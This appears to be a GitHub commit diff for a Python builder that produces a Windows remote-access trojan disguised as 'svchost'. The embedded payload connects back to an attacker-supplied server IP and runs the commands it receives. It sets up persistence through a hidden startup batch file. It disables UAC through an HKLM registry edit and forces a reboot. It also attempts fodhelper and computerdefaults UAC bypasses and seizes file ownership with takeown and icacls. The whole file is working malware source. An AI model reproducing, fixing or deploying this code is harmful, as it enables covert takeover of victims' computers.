Skip to content

Commit d61277a

Browse files
Update Gen_client.py
Fixed A Bug
1 parent 481a13c commit d61277a

File tree

1 file changed

+36
-32
lines changed

1 file changed

+36
-32
lines changed

Gen_client.py

Lines changed: 36 additions & 32 deletions
Original file line numberDiff line numberDiff line change
@@ -1,40 +1,40 @@
1-
from subprocess import getoutput
2-
from os import system,environ
1+
from os import system
32
from sys import exit
43
def nuitka()->None:
54
ip_address=str(input("Server IP:"))
65
with open("svchost.py","w") as file:
76
file.write(buf%ip_address)
8-
environ["CCFLAGS"]="-Ofast"
97
system("nuitka .\\svchost.py --mode=accelerated --mode=onefile --remove-output --windows-console-mode=disable --include-data-files=.\\run.exe=.\\run.exe")
108
exit(0)
119
buf=r'''from platform import node,release,machine,processor
1210
from ctypes import windll
1311
from pickle import dumps
1412
from subprocess import getoutput,call
15-
from sys import exit,argv
13+
from sys import exit,orig_argv
1614
from os import chdir,environ,system as run
1715
from os.path import basename
1816
from socket import socket,AF_INET,SOCK_STREAM,gaierror
1917
from shutil import copyfile
2018
from winreg import OpenKeyEx,HKEY_LOCAL_MACHINE,KEY_WRITE,SetValueEx,REG_DWORD,CloseKey
2119
from psutil import process_iter,AccessDenied
22-
def process_is_double(target:str=argv[0])->bool:
23-
exists=False
20+
environ["exe"]=" ".join([i for i in orig_argv])
21+
def process_is_double(target:str=None)->int:
22+
if target:target = target + ".exe" if target.split(".")[-1] != "exe" else target
23+
else :target=" ".join([i for i in orig_argv])
24+
target=target.split(" ")[0]
2425
process = 0
25-
if argv[0] == target:
26+
if " ".join([i for i in orig_argv]) == target:
2627
for i in process_iter():
2728
try:
2829
if i.exe() == target:
2930
process +=1
3031
except AccessDenied:pass
31-
return (process >1)
32+
return process
3233
for i in process_iter():
3334
try:
34-
if i.name() == basename(target):exists=True
3535
if i.exe() == target:process +=1
3636
except AccessDenied:pass
37-
return exists and process >1
37+
return process
3838
def process_is_exists(target:str)->bool:return target in (i.name() for i in process_iter())
3939
def split(target:str,tstr:str)->str:
4040
new_chars=[]
@@ -52,12 +52,12 @@ def connect()->None:
5252
except ConnectionRefusedError:connect()
5353
except gaierror:connect()
5454
def CYS()->None:
55-
copyfile(argv[0],(r"C:\Users\{}\Documents\\"+basename(argv[0])).format(environ.get("username")))
55+
copyfile(" ".join([i for i in orig_argv]),(r"C:\Users\{}\Documents\\"+basename(" ".join([i for i in orig_argv]))).format(environ.get("username")))
5656
with open(r"C:\Users\{}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\start.bat".format(environ.get("username")), "w") as file:
5757
file.write("""@Echo off
5858
start C:\\Users\\{0}\\Documents\\{1}
59-
exit""".format(environ.get("username"), basename(argv[0])))
60-
run("attrib +s +h +r C:\\Users\\"+environ.get("username")+"\\Documents\\"+basename(argv[0]))
59+
exit""".format(environ.get("username"), basename(" ".join([i for i in orig_argv]))))
60+
run("attrib +s +h +r C:\\Users\\"+environ.get("username")+"\\Documents\\"+basename(" ".join([i for i in orig_argv])))
6161
run("attrib +s +h +r \"C:\\Users\\{}\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\start.bat\"".format(environ.get("username")))
6262
def LUA_OFF()->None:
6363
key = OpenKeyEx(HKEY_LOCAL_MACHINE,r"SOFTWARE\Microsoft\Windows\CurrentVersion\\Policies\\System", 0, KEY_WRITE)
@@ -66,23 +66,28 @@ def LUA_OFF()->None:
6666
CYS()
6767
call("shutdown /r /f /t 0")
6868
exit(0)
69-
def computerdefaults(target:str=argv[0])->None:
70-
target = target + ".exe" if target.split(".")[-1] != "exe" else target
71-
ms_reg = "computerdefaults.exe"
72-
if argv[0] == target:
73-
while not process_is_double():call(f"run {target} {ms_reg} computerdefaults.exe")
69+
def computerdefaults(target:str=None)->None:
70+
if target:target = target + ".exe" if target.split(".")[-1] != "exe" else target
71+
else :target=" ".join([i for i in orig_argv])
72+
if " ".join([i for i in orig_argv]) == target:
73+
x=process_is_double()
74+
while not x<process_is_double():
75+
print(x,process_is_double())
76+
call("run computerdefaults.exe {}".format(target))
77+
if x<process_is_double():return
7478
return None
75-
while not process_is_exists(basename(target)):call(f"run {target} {ms_reg} computerdefaults.exe")
76-
def fodhelper(target:str=argv[0])->None:
79+
while not process_is_exists(basename(target)):call("run computerdefaults.exe {}".format(target))
80+
def fodhelper(target:str=None)->None:
81+
if target:target = target + ".exe" if target.split(".")[-1] != "exe" else target
82+
else :target=" ".join([i for i in orig_argv])
7783
target= target+".exe" if target.split(".")[-1] !="exe" else target
78-
ms_reg = "fodhelper.exe"
79-
if argv[0] == target:
80-
while not process_is_double():
81-
call(f"run {target} {ms_reg} fodhelper.exe")
82-
return None
83-
while not process_is_exists(basename(target)):
84-
call(f"run {target} {ms_reg} fodhelper.exe")
85-
process_is_exists(basename(target))
84+
if " ".join([i for i in orig_argv]) == target:
85+
x=process_is_double()
86+
while not x<process_is_double():
87+
print(x,process_is_double())
88+
call("run fodhelper.exe {}".format(target))
89+
if x<process_is_double():return
90+
while not process_is_exists(basename(target)):call("run fodhelper.exe {}".format(target))
8691
def FDR(target:str)->None:
8792
run("takeown /D Y /R /F {}".format(target))
8893
run("icacls {} /T /C /grant {}:(F,MA)".format(target,environ.get("username")))
@@ -130,7 +135,7 @@ def FDR(target:str)->None:
130135
s.send("success".encode())
131136
continue
132137
if "executable" in lcmd:
133-
s.send(argv[0].encode())
138+
s.send(" ".join([i for i in orig_argv]).encode())
134139
continue
135140
if "cmd /c start" in lcmd:
136141
call(cmd)
@@ -141,6 +146,5 @@ def FDR(target:str)->None:
141146
except ConnectionResetError:connect()
142147
except OSError:connect()'''
143148
print("Checking For Nuitka")
144-
nuitka_v=getoutput("nuitka --version").split()[0]
145-
if len(nuitka_v)<7:nuitka()
146-
else:print("You Don't Have Installed Nuitka!!\nYou Can Install It Using pip install Nuitka")
149+
from nuitka import __doc__
150+
nuitka()

0 commit comments

Comments
 (0)